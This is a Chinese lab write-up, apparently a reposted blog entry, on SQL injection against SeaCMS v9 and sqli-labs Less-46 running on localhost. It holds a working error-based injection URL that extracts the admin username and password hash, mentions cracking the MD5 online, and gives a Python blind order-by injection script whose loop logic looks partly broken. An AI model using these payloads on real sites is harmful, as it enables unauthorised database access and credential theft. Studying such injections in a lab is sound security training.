当前位置: 首页 > news >正文

海洋cmsv9报错注入,order by 和limit注入

海洋cmsv9

1,我们拿到海洋cmsv9源码分析发现注入点,$rlist

2,seacms开源,可以知道seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为
sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password

经过源码分析,使用以下语句注入(limit避免管理员有多个,导致SQL语句报错):
127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
第一次尝试:

我们发现注入并没有成功

接下来我们在数据库查看表的情况

我们发现sea_comment中并没有数据所以并没有回显

那我们就添加数据

insert into sea_comment(id,uid,v_id,typeid,username,ip,ischeck,dtime,msg,m_type,reply,agree,anti,pic,vote) values (1,2,3,4,'hyd1','192,168,106,133',1,01,'sample comment',0,0,0,0,'exam01.jpg',0),(5,6,7,8,'hyd2','192,168,106,134',2,02,'sample comment',0,0,0,0,'exam02.jpg',0);

然后我们重新进行注入

发现密码是通过MD5加密了的

所以就到md5在线解密破解,md5解密加密这个网站解密

oeder by

我们发现俩次username中发现第6行不一样,所以我们可以利用这里进行注入

import requests
from bs4 import BeautifulSoup


def getDatabase(url):
    dataname = ''

    for i in range(1, 20):  # 检查每个字符位置
        for j in range(32,127):
            payload = "if(ascii(substr(database(),%d,1))=%d,username,password) -- " % (i, j)
            res = {"sort": payload}
            r = requests.get(url, params=res)
            # 检查返回内容,使用 BeautifulSoup 解析 HTML
            soup = BeautifulSoup(r.text, 'html.parser')
            # 提取密码列第6行
            password_row = soup.find_all('tr')[6]  # 第6行(索引为5)
            password_column = password_row.find_all('td')[1]  # 假设密码在第二列
            # 如果返回的是 'crappy',则跳过该字符
            #print(password_column.text.strip())
            if password_column.text.strip() == 'secure':
                #print(1)  # 如果是 crapp,就跳过当前字符
                w=1
            else:
        # 如果没有找到有效字符,或者跳过该字符,则继续下一个字符
                dataname += chr(j)  # 将识别到的字符添加到数据库名称
        print(dataname)  # 打印当前已经找到的字符

if __name__ == '__main__':
    url = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php'
    getDatabase(url)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dtcms.com/a/43807.html

相关文章:

  • HTML:自闭合标签简单介绍
  • C语言(16)---------->二维数组
  • 什么是 MGX:MetaGPT
  • 基于 MyBatis-Plus 的多租户数据隔离方案
  • 自媒体多账号如何切换不同定位才能做得更好
  • 开源|Documind协同文档(接入deepseek-r1、支持实时聊天)
  • 深入探索C#中的async和await:原理、使用方法与最佳实践
  • 【deepseek第一课】从0到1介绍 采用ollama安装deepseek私有化部署,并实现页面可视化
  • Haption:机器人遥操作触觉力反馈技术革新解决方案
  • React核心知识及使用场景
  • Python 数据结构 2.时间复杂度和空间复杂度
  • 二、QT和驱动模块实现智能家居----2、编译支持QT的系统
  • dom有几种获取方式
  • 【pytest框架源码分析一】pluggy源码分析之hook常用方法
  • 如何使用 Ollama 的 API 来生成文本
  • Express + MongoDB 实现用户登出
  • 绕过密码卸载360终端安全管理系统
  • 快速列出MS Word中所有可用字体
  • 算法日记29:leetcode322零钱兑换(DFS->记忆化搜索->DP)
  • AI+游戏,正在进行时!
  • 矽电股份业绩下滑:毛利率也欠佳,应收账款攀升回款比率放缓
  • c# 收发邮件
  • 使用 Docker 部署 Memos:简易教程
  • 解释Promise的工作原理及其状态
  • 计算机毕业设计SpringBoot+Vue.js作业管理系统(源码+文档+PPT+讲解)
  • Java中字符串替换的方法
  • Java 网络八股 TCP协议:三次握手四次挥手全图解
  • Opencv 图像形态学操作
  • VC++ MFC中 CTreeCtrl的自绘
  • 使用create_sql_query_chain工具根据自然语言问题生成SQL查询,踩坑版